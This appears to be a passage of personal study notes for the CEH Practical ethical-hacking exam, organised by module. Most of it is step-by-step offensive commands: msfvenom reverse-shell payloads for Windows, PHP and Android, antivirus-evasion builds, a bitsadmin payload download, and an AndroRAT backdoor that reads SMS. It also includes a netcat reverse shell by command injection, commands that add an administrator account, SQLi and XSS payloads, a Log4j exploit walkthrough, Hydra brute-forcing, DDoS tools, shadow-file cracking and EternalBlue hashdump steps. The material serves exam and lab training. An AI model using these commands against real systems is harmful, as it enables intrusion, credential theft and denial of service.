- PE Explorer.exe

Identify File Dependencies

- Dependency Walker (depends.exe)

Malware Disassembly - Reversing

- IDA (idafree.exe) New > Select file to disassemble > OK > View > Graphs > Flow chart or funtion calls IDA view-A > Text view Example: .text 0048458 start proc near -> Entry point 0x0048458
- OllyDbg.exe File > Open > Select the file > View > Log Log data also displays the program entry point View > memory
- GHidra
- Radare2
- WinDgb
- ProcDump

Dynamic Malware Analysis

- TCPView.exe
- CurrPorts (cports.exe)
- Process Monitor (procmon.exe)
- Reg-organizer (Windows)
- Registry Viewer
- Windows Service Manager (SrvMan.exe)
- autoruns.exe
- wpsetup.exe (WinPatrol): Application monitoring
- SetupInstallMonitor.exe (Mirekursoft)
- PA File Sight (filesightultra.exe): Files and folder monitoring
- DriverView and Driver reviver: Drivers monitoring
- DNSQuerySniffer.exe: DNS monitoring

Module 08: Sniffing

MAC flooding

> macof

- `macof -i interface -n numPackets -d IP`

Spoof a MAC address

> TMAC (Windows)

- Click the Random MAC Address button under the Change MAC Adress to generate a random MAC

> SMAC (Windows)

- Select the network adapter
- Click the random button
- Click the forward arrow button (>>) under network connection to view the network adapter information

> macchanger (Linux)

- Current MAC:
  - `macchanger -s interface`
- Generate new random MAC:
  - `macchanger -a interface`
- Set a random MAC:
  - `macchanger -r inteface`

DHCP flooding (DoS)

> Yersinia

- yersinia -I
- press h for help
- press q to exit the help options
- press F2 to select DHCP mode
- press x to list available attack options
- press 1 to start a DHCP starvation attack

ARP Poisoning (MITM attack)

> arpspoof

- arpspoof -i interface -t IP1 IP2
- arpspoof -i interface -t IP2 IP1
- IP1 is the address of the access point or gateway
- IP2 is the target system

> Cain & Abel

- Scan MAC adress
- New ARP Poison Routing
- It can be used to monitoring the traffic between two systems and detect this type of attacks

Password Sniffing

> Wireshark

- Edit > Find Packet > select string
- You can manage interfaces and click on remote interfaces tab to add a remote host with authentication.
- Filters like: http.request.method == POST
- ftp contains "echo"

Analyze a Network

> Omnipeek Network Protocol Analyzer (Windows)

- New capture and click on the adapter option.
- Click on start capture.

> SteelCentral Packet Analyzer (Windows)

Detect ARP Poisoning and Promiscuous Mode

- Cain & Abel
- nmap
    - --script=sniffer-detect
- Colasoft Capsa Network Analyzer (detect ARP poisoning and flooding)

Module 09: Social Engineering

Sniff credentials

> SET (Social-Engineer Toolkit)

- setoolkit
- set the IP address of the local machine and the domain to clone
- social-engineering attacks
- website attack vectors
- credentials harvester attack method
- site cloner
- Send a custom email with a malicious link (redirect a malicious IP - http://IP-attacker)

Detect Phishing

- Netcraft Anti-phishing (Extension)
- PhishTank: https://phishtank.org/

Audit Organization's Security for Phishing Attacks

- OhPhish: https://portal.ohphish.com/login

Module 10: Denial of Service (DoS)

DoS Attack (SYN Flooding)

Metasploit

- auxiliary/dos/tcp/synflood

hping3

- `hping3 -S IP1 -a IP2 -p port --flood` IP1 is the target address and IP2 is the spoofable IP

Raven-storm (Linux)

- rst
- l4
- ip IP
- port PORT
- threads numberThreads
- run

DDoS Attack

HOIC - High Orbit Ion Cannon (Windows)

- Click the + button
- Type the target URL http://IP
- Select GenericBoost.hoic and click add
- Set the threads value to 20
- Do that on more machines and click on "fire teh lazer"

LOIC - Low Orbit Ion Cannon (Windows)

- Select the IP and click on lock on
- Select UDP, the theads to 10 and the power bar to the middle
- Do that on more machines and click on IMMA CHARGIN MAH LAZER

PoD (Ping of Death)

hping3

- hping3 -d dataSize -S -p port --flood IPtarget
- hping3 -2 -p port --flood IPtarget
- -2 specifies the UDP mode

Detect and Protect Against DDoS Attacks

Guardian (Windows)

- You can see detail view, packets sent and received from each IP and you can block any of them.
- Launch Anti DDoS Guardian
- In the bottom-right cornert of Desktop, click on show hidden icons
- If there are huge number of packets coming from the same host machines, its a DDoS attack
- You can double-click on any of the sessions and you can block it, clear, allow IP, and more

> Wireshark

- Yellow, black or blue packets (SYN, TCP, UDP, ARP, ECN, CWR)

Module 11: Session Hijacking

Hijack a Session

> Zep Attack Proxy (ZAP)

- Intercept the request and change the host, origin and referer headers.

> Burp Suite

Intercept HTTP Traffic

> Bettercap (sniffing, arp spoof, net recon and more)

- bettercap -iface interface
- net.probe on
- net.recon on
- set http.proxy.sslstrip true
- set arp.spoof.internal true
- set arp.spoof.targets IPtarget
- http.proxy on
- arp.spoof on
- net.sniff on
- set net.sniff.regexp expresion
- ('.* password=.+')

> Hetty (Windows) - MIMT attack

- click on it
- http://localhost:8080
- create new project
- Chrome > Settings > System > Manual proxy > ON > IP and port 8080

> WireShark

Module 12: Evading IDS, Firewalls and Honeypots

Detect Intrusions

> Snort (IDS)

- cmd -> snort
- List machine's physical address, IP and Ethernet Drivers:
  - `snort -W`
- Configuration file:
  - snort.conf
- Start snort:
  - `snort -iX -A console -c C:\\Snort\\etc\\snort.conf -l C:\\Snort\\log -k ascii`
  - Replace X with your device index number

Detect Malicious Network Traffic

> ZoneAlarm Free Firewall (zafw): Windows

- You can block any domain, IP or whatever > Firewall > View zones > Firewall settings > Add zone

> HoneyBOT (Windows): Honeypot that creates a safe enviroment to capture and interact with unsolicited traffic on a network.

Bypass Windows Firewall

> Nmap evasion techniques

- Scan to discover the live machines in the network
  - `nmap -sP IP/range´
- Zombie scan (choosing any of the IPs that are obtained in the ping sweep scan)
  - `nmap -sI IP1 IP2`

Bypass Firewall Rules

> HTTP/FTP tunneling

- If IIS Admin Service is running, stop the program.
- Run htthost.exe
- Revalidate DNS names and log connections.
- Run httport3snrm.exe to perform tunneling using HTTPort

> BITSAdmin

- `msfvenom -p windows/shell_reverse_tcp lhost=IP lport=port -f exe > /exploit.exe`
- `service apache2 start`
- PS> `bitsadmin /transfer Exploit.exe http://IP/exploit.exe c:\\exploit.exe`

Bypass Antivirus

> Metasploit

- `pluma /usr/share/metasploit-framework/data/templates/src/pe/exe/template.c`
- change 4096 to 4000
- `cd /usr/share/metasploit-framework/data/templates/src/pe/exe`
- `i686-w64-mingw32-gcc template.c -lws2_32 -o evasion.exe`
- `msfvenom -p windows/shell_reverse_tcp lhost=IP lport=port -x /usr/share/metasploit-framework/data/templates/src/pe/exe/evasion.exe -f exe > /home/attacker/bypass.exe`

Module 13: Hacking Web Servers

Information Gathering

> Ghost Eye

- `python3 ghost_eye.py`

Web Server Reconnaissance

> Skipfish

- `skipfish -o output -S /usr/share/skipfish/dictionaries/complete.wl http:IP:port`

Footprint a Web Server

> Netcat

- `nc -vv www.domain.com port`

> Telnet

- `telnet www.domain.com port`

> httprecon (Windows)

> IDServe (Windows)

Enumerate Web Server InformationFootprint a Web Server

> Nmap

- `--script http-enum`
- `--script http-trace -d domain`
- `--script http-waf-detect`

Fingerprint Web Server

> uniscan: fuzzing directories and more

- `uniscan -u domain -q`
- `uniscan -u domain -we`
- Dynamic testing:
  - `uniscan -u domain -d`

Crack FTP Credentials

> Dictionary Attack with Hydra:

- `hydra -L /wordlists/usernames.txt -P /wordlists/pass.txt service://IP`
- `hydra -L pathFile-usernames -P pathFile-passwords IP -s port service`
- `hydra -l username -P pathFile-passwords IP -s port service`
- `hydra -L pathFile-usernames -p password IP -s port service` Example: `hydra -L /home/usernames.txt -P /home/pass.txt ftp://IP`

Brute force to login

> Hydra

- `hydra -l -P </passwords_list.txt> target http-post-form "/login-page.php:fieldUsername=username&fieldPassword=^PASS^:text"``
- Example:
  - `Post`
  - `hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.61.16 http-post-form "/admin/index.php/:user=admin&pass=^PASS^:Username or password invalid"`
  - `Get`
  - `hydra -l admin -P /usr/share/wordlists/john.lst 'http-get-form://127.0.0.1:42001/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSESSID=crqloublvsn9ed8vppss17jvjl; security=low:F=Username and/or password incorrect'`
  - `for medium add -V -I`

Brute force to popup

> Hydra

- `hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt IP -s 30705 http-get /`

Wordpress

> Pentest Wordpress

- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress

Interesting paths

- /wp-login.php
- /wp-login
- /wp-admin
- /wp-admin.php
- /login
- /wp-config.php
- /wp-content/uploads/
- /uploads
- /wp-includes/
- /admin
- /wp-admin/login.php
- /wp-admin/wp-login.php
- /login.php

Wpscan

- Enumerate users: `wpscan --url domain --enumerate u`
- Enumerate vulnerable plugins: `wpscan --url domain --enumerate vp`

WPScan Enumerations

Flag	Description	Full Example
`p`	Enumerate Plugins	`--enumerate p`
`t`	Enumerate Themes	`--enumerate t`
`u`	Enumerate Usernames	`--enumerate u`
`v`	Use WPVulnDB to cross-reference for vulnerabilities. Example command looks for vulnerable plugins (p)	`--enumerate vp`
`aggressive`	This is an aggressiveness profile for WPScan to use.	`--plugins-detection aggressive`

Brute force credentials in Wordpress

- `wpscan --url http://IP --passwords wordlistPass --usernames wordlistUsers`

Burp Suite -> intruder

Metasploit

- use auxiliary/scanner/http/wordpress_login_enum
- set pass_file wordlist.txt
- set rhosts IPtarget
- set rport port
- set targeturi URL_login

- set username user

Drupal

> Pentest Drupal

- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/drupal
- Force brute login or enumerate users

> Interesting paths

- /user/register
- /user/number -> example /user/0
- /node/$ -> **where** $ **is a number** (from 1 to 500 for example).

> Vulnerability scans

- droopescan: `droopescan scan drupal -u <http://example.org/> -t theads`
- drupwn: `python3 drupwn --mode enum --target <https://example.com>`, `python3 drupwn --mode exploit --target https://example.com`

> Exploits

- Drupalgeddon: https://www.exploit-db.com/exploits/34992 `python2.7 drupalgeddon.py -t http://domain.local -u <user> -p <password>` or `[msf]> exploit/multi/http/drupal_drupageddon`
- Drupalgeddon2: https://www.exploit-db.com/exploits/44448
- Drupalgeddon3: https://github.com/rithchard/Drupalgeddon3 or Metasploit with multi/http/drupal_drupageddon3

Module 14: Hacking Web Applications

Web Application Reconnaissance

> nmap

- `nmap -A -v IP`

> telnet

- `telnet domain port`
- GET / HTTP/1.0

> whatweb

- `whatweb domain`

> Netcraft

> tamos.com

> whois.domaintools.com

> sabsoft.com

> DNSRecon

Web Spidering

> Owasp ZAP

- zaproxy

Detect Load Balancers (distribute web server load over multiple servers)

> dig

- `dig domain` If the domain has different IPs associated with it, it has a balancer.

> lbd (load balancing detector)

- `lbd domain`

Identify Web Server Directories (domains and subdomains) -> view module 1

> nmap

- `nmap -sV --script=http-enum IP`

> gobuster

- `gobuster dir -u domain -w dictionary.txt`

> dirsearch

- `python3 dirsearch.py -u domain -e extension -x statusCode`

Web Application Vulnerability Scanning

> Vega (sqli, xss, disclosed sensitive information, and more): Windows

- Scan > Start new scan > Select a scan target > Select modules

> wpscan (for wordpress)

- `wpscan --api-token token --url domain --plugins-detection aggressive --enumerate vp`
- Metasploit: scanner/http/wordpress_login_enum

> N-Stalker Web Application Security Scanner (Windows)

- click the update button > update > click start > enter the web application url > choose scan policy (OWASP) > start session > start scan

Identify Clickjacking Vulnerability

> ClickjackPoc

- `echo "domain" | tee domain.txt`
- `python3 clickJackPoc.py -f domain.txt`

Brute-force attack

> Burp Suite -> Intruder

Parameter tampering

> Burp Suite - Inspector

Identifying XSS Vulnerabilities

> PwnXSS

- `python3 pwnxss.py -u domain`

> Payloads such as

- `"/><script>alert('xss')</script>`

File Upload Vulnerability

> msfvenom

- `msfvenom -p php/meterpreter/reverse_tcp lhost=IP lport=port -f raw > upload.php`
- `use exploit/multi/handler`
- `set payload php/meterpreter/reverse_tcp`

> msfvenom reverce telnet

- `msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R`

> Change the extension

- For example: .php.jpg

> Change the signature

- upload.jpg
- edit the php code and write GIF98 in the first line

> Change the filename in parameter

RCE (Remote Code Execution)

> Payloads such as

- | whoami
- && id
- or whoami

Create a web shell

> weevely

Exploiting Log4j Vulnerability

> Exploit for CVE-2021-44228

- cd log4j-shell-poc
- tar -xf jdk-8u202-linux-x64.tar.gz
- mv jdk1.8.0_202 /usr/bin/
- pluma poc.py
- replace jdk1.8.0_20/bin/javac with /usr/bin/jdk1.8.0_202/bin/javac - line 62
- replace jdk1.8.0_20/bin/java with /usr/bin/jdk1.8.0_202/bin/java - line 87
- replace jdk1.8.0_20/bin/java with /usr/bin/jdk1.8.0_202/bin/java - line 99
- save
- nc -lvp 9001
- Create the payload:
  - python3 poc.py --userip IP --webport 8000 --lport 9001
- copy the line "send me"
- past it in a text field vulnerable and receive the session in the netcat listener

---

Module 15: SQLi (SQL Injection)

SQLi Attack

> sqlmap

- `sqlmap -u "domain/page.php?parameter=1" --dbs`
- `sqlmap -u "domain/page.php?parameter=1" -D database --tables`
- `sqlmap -u "domain/page.php?parameter=1" -D database -T table --dump`
- `sqlmap -u "domain/page.php?parameter=1" -D database -T table --os-shell`
- `sqlmap -u "domain/page.php?parameter=1" --cookie="cookie" --dbs`

> Burp Suite

> DSSS

- https://github.com/stamparm/DSSS
- inspect element

- console>> document.cookie
- `python3 dsss.py -u "domain/page.php?parameter=1" --cookie="cookie"`

> ZAP

MSSQL

> Microsoft SQL Server Management Studio (Windows)

Module 16: Hacking Wireless Networks

Find WiFi Networks in Range

- NetSurveyor (Windows)

Find WiFi Networks and Sniff WiFi Packets

> airmon

- Puts the wireless interface into monitor mode:
  - `ifconfig`
  - `airmon-ng start interface`
  - `airmon-ng check kill`
  - `airmon-ng start wlan0mon`

> Wash

- Find WiFi Networks (access points - AP) - To detect WPS-enabled devices: `wash -i interface`

> Wireshark

Crack a WEP Network

> aircrack-ng

- Puts the wireless interface into monitor mode: `airmon-ng start wlan0mon`
- List a detected access points and connected clients (stations): `airodump-ng wlan0mon`
- List of connected clients (stations): `airodump-ng --bssid MACAddress wlan0mon`
- Generate de-authentication packets: `aireplay-ng -0 11 -a MAC-AP -c MAC-dest wlan0mon`

> Crack a PCAP file

- `aircrack-ng file.pcap`

> Wifiphisher

- `cd wifiphisher`
- `wifiphisher --force-hostapd`
- `network manage connect`

> Airodump

- `airodump-ng wlan0mon --encrypt wep`
- `airodump-ng --dssid SSID -c channel -w Wepcrack wlan0mon`
- `aireplay-ng -0 11 -a MAC-AP -c MAC-dest wlan0mon`
- `aircrack-ng file.cap`
- `aircrack-ng -a2 Handshake -w pathWordlist file.cap`

Crack a WPA Network

> Fern Wifi Cracker

- fern-wifi-cracker > scan for access points > WPA > Select one > Browse > Select wordlist > Click wifi attack

Create a Rogue Access Point

> Create_ap

- `cd create_ap`
- `create_ap wirelessInterface interfaceInternet nameRogue`
- `sudo bettercap -X -I wirelessInterface -S NONE --proxy --no-discovery`

Module 17: Hacking Mobile Platforms

Hack an Android Device by Creating Binary Payloads (create malicious APK)

> msfvenom

- `msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik lhost=IP R > ./backdoor.apk`
- `cp /root/Desktop/backdoor.apk /var/www/html/share`
- `service postgresql start`
- `use exploit/multi/handler`
- In Android:
  - http://IP/share/ > download the backdoor.apk > execute it

> AndroRAT

- create it:
  - `cd androRAT`
  - `pyhton3 androRAT.py --build -i IPattacker -p port -o update.apk`
  - `cp /home/attacker/AndroRAT/update.apk /var/www/html/share`
  - `service apache2 start`
- waiting for connections:
  - `python3 androRAT.py --shell -i 0.0.0.0 -p port`
- transfer it to Android machine and execute it
  - `deviceInfo`

    - `getSMS inbox`
    - `getMACAddress`

Harvester Users' Credentials using the Social-Engineer Toolkit (SET)

> SET

- setoolkit > social-engineering attacks > website attack vectors > credential harvester attack method > site cloner

Launch a DoS Attack on a Target Machine

> Low Orbit Ion Cannon (LOIC) - apk

- click the apk and install it > choose the IP target > get ip > tcp and port 80, threads 100 > start

Exploit Android Platform though ADB

> phonesploit

- cd PhoneSploit
- `python3 phonesploit.py`
- connect a new phone
- enter a IP address

Analyze a malicious app

> Online Android Analyzers

- https://www.sisik.eu/apk-tool

Secure Android Devices from Malicious Apps

> Malwarebytes Security -> antimalware available on Google Play

Connect to Android device with adb

> Search Linux system on the network.

- Port 5555 freeciv or adb (Android Debug Bridge).

> List devices: `adb devices`

> Connect with

- `adb connect IP`
- `adb connect IP:PORT`
- `adb -s 127.0.0.1:5555 shell`

> Escalate privileges

- `adb root`

> Get a shell

- `adb shell`

> Download a file

- `adb pull /sdcard/demo.mp4 ./`

> Upload a file

- `adb push test.apk /sdcard`

Module 18: IoT and OT Hacking

Gather Information

- https://www.whois.com/whois
- https://www.exploit-db.com/google-hacking-database
- Shodan
  - port:1883
  - geolocation:SCADA Country:"US"

Sniffing Traffic

> Wireshark

- mqtt (Protocol Standard for IoT Messaging)
- bevywise IoT simulator - Windows
- runsimulator.bat

Module 19: Cloud Computing

Enumerate S3 Buckets

> lazys3

- Is a Ruby Script tool that is used to brute-force AWS S3 buckets using differnt permutations.
- It obtains the publicly accessible S3 buckets and also allows you to search the S3 buckets of a specific company.
- `ruby lazys3.rb companyName`

> S3Scanner

- create a text file that contains the target website URL
- Display a list of public S3 buckets:
  - `python3 ./s3scanner.py sites.txt`
- Dump all open buckets and log both open and closed buckets:

    - `python3 ./s3scanner.py --include-closed --out-file sites.txt --dump names.txt`

> Firefox Extension (S3 Bucket List)

Exploit Open S3 Buckets

> AWS CLI

- aws configure
- aws s3 ls s3://bucketName
- https://bucketname.s3.amazonaws.com

Module 20: Cryptography

See hashes

- md5sum, sha1sum, sha256sum, and sha512sum

Calculate One-way hashes

- HashCalc (Windows)

Calculate MD5 Hashes

- MD5 calculator (Windows) - It can be useful for compare the MD5 values too
- HashMyFiles (Windows)

Perform File and Text Message Encryption

> CryptoForge (Windows) - File and text encryption/decryption software

- It can encrypt and decrypt files.
- right mouse button > encrypt > choose a passphrase

> Advanced Encryption Package (Windows): aep.msi

- It can encrypt and decrypt files.

Encrypt and Decrypt Data

> BCTextEncoder (Windows)

> Hash decrypt

- https://hashes.com/en/decrypt/hash
- https://crackstation.net/

Create and Use Self-signed Certificates

> Internet Information Services (IIS) Manager: Windows

- server certificates > create self-signed certificates > bindings > add site binding > add the hostname, IP and port > refresh and access to the domain

Email Encryption

- RMail

Disk Encryption

> VeraCrypt (Windows)

- select one > mount > type the password

> BitLocker (Windows)

- turn the bitlocker off > use a password to unlock the drive > enter the password

> Rohos Disk Encryption (Windows)

- Disconnect > enter the password > browse

Cryptanalysis

> CrypTool (Windows) - Decrypt files

- File > new
- Encrypt/Decrypt
- Symmetric (modern)
- RC2, Triple DES...

> AlphaPeeler (Windows)

- proffesional crypto
- DES crypto enter the pass phrase and select the file

Notes:

- Domain User account -> enum4linux -u user -p pass -U IP
- Decode file encoded in DES(ECB) -> cryptool > open the .hex file > decrypt with DES
- Stego -> `snow.exe –C –p "password" file.txt`
- Cracking hash -> https://hashes.com/en/decrypt/hash, https://gchq.github.io/CyberChef/
- RCE example -> 172.16.0.1&&type C:\wamp64\www\DVWA\hackable\uploads\Hash.txt
- Force brute to FTP: hydra -L users.txt -P pass.txt ftp://IP
- Compare hash -> hashcalc
- Type of the http method that poses a high risk to the web application: POST, PUT, UPLOAD, DELETE?
- Backdoor or file in desktop -> RDP open port
- Android -> cd sdcard > cd downloads
- Obtain cookie for sqlmap -> python3 dsss.py or Inspect Element document.cookie

- IDA -> functions ("main" or "start"), text, strings...
- What is the password hidden in the .jpeg file? steghide, hexdump
- HashCalc: take a file and open into hashcalc. It give you MD5 or other algorithms.
- MD5 calculator: it will compare both files what we need get the md5
- HashMyFiles: it allow you to hash all the files inside a folder
- RCE smb: Example `smbmap -u "admin" -p "passowrd" -H 10.10.10.10 -x "ipconfig"` - x = command
- Find packets in Wireshark: edit > find packets > packet list : packet bytes > case sensitive: strings > string "pass" :search
- DDoS in Wireshark: then >statistics > ipv4 statistics > destination and ports
- Find a file in Android: adb shell ls -R | grep filename

ETERNAL BLUE

- `nmap -sC -sV -A -O IP`
- `nmap --script vuln IP`
- `sudo msfconsole`
- `search xploitms`
- `set payload windows/x64/shell/reverse_tcp`
- `search shell_to_meterpreter`
- `sessions -i #`
- `getuid`
- `hashdump`
- `migrate`
- `hashdump`
- `save hash`
- `john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=NT`
- `search -f text*`

Interesting URL:

- https://github.com/infovault-Ytube/CEH-Practical-Notes
- https://github.com/System-CTL/CEH_CHEAT_SHEET
- https://medium.com/techiepedia/certified-ethical-hacker-practical-exam-guide-dce1f4f216c9
- https://immpetus.gitbook.io/ceh-practical/
- https://ceh-practical.cavementech.com/

command injection Linux

- 127.0.0.1 && ls
- 127.0.0.1 & ls
- 127.0.0.1 ; ls
- 127.0.0.1 | ls
- 127.0.0.1 && nc -c sh 127.0.0.1 9001
- grep . text.txt
- grep -R .
- python3 --version

command injection Windows

-intentar poner en algunos casos | primero ejemplo |hostname o | hostname

- hostname
- whoami
- tasklist
- taskkill /PID 3112 /F //forcefully kills the processes
- dir c:\
- net user
- net user test /add //add a new user
- net localgroup Administrators test /add //add test user to administrators
- net user test //to view the details of the user
- dir c:\ "pin.txt" or this command ! Take pin.txt //to get content
- type c:"pin.txt“ //to get the content of a file

upload files attack

> Crear payload en exploit.php para subir al sitio web victima

- msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw >exploit.php

> Now run Metasploit and start a multi-handler to listen to PHP reverse sessions.

- `msfconsole`
- `>use exploit/multi/handler`
- `>set payload php/meterpreter/reverse_tcp`
- `>options`
- `>set LHOST 192.168.*.*`
- `>run`

> subir el archivo y buscar la ruta para ejecutarlo en el navegador y validar en la consola de meterpreter la conexión

> Medium level

- `100000 ------WebKitFormBoundary12ZF6IVGPcAUFBR4 Content-Disposition: form-data; name="uploaded"; filename="exploit.php" Content-Type: application/x-php`
- replace Content-Type: image/jpeg

Find file to all system

- `sudo find / -name root.txt 2>/dev/null`

scalate privileges with passwd and shadow

> Copy passwd and shadow registers on diferent files

- `cat /etc/passwd` - user information

- `sudo cat /etc/shadow` - hash passwords

> merge files with unshadow comand

- `unshadow passwd.txt shadow.txt >fileJohn.txt`
- `john fileJohn.txt -w=/usr/share/wordlists/rockyou.txt`

sql injection

> sql injection basics

- `'OR 1=1 #`
- `'OR 1=1 --`

> sqlmap with burnsuite query save to req.txt

- `sqlmap -r req.txt --dbs`
- `sqlmap -r req.txt -D NameDataBase --tables`
- `sqlmap -r req.txt -D NameDataBase -T tableName --columns`
- `sqlmap -r req.txt -D NameDataBase -T tableName --dump-all`
- `sqlmap -r rep.txt -D blood --current-user`

> medium selectpicker

- `value="1 OR 1=1 #”`

> High

- `1' UNION SELECT user, password FROM users#`

search vulnerabilities

- `searchsploit name`
- `/usr/share/exploitdb`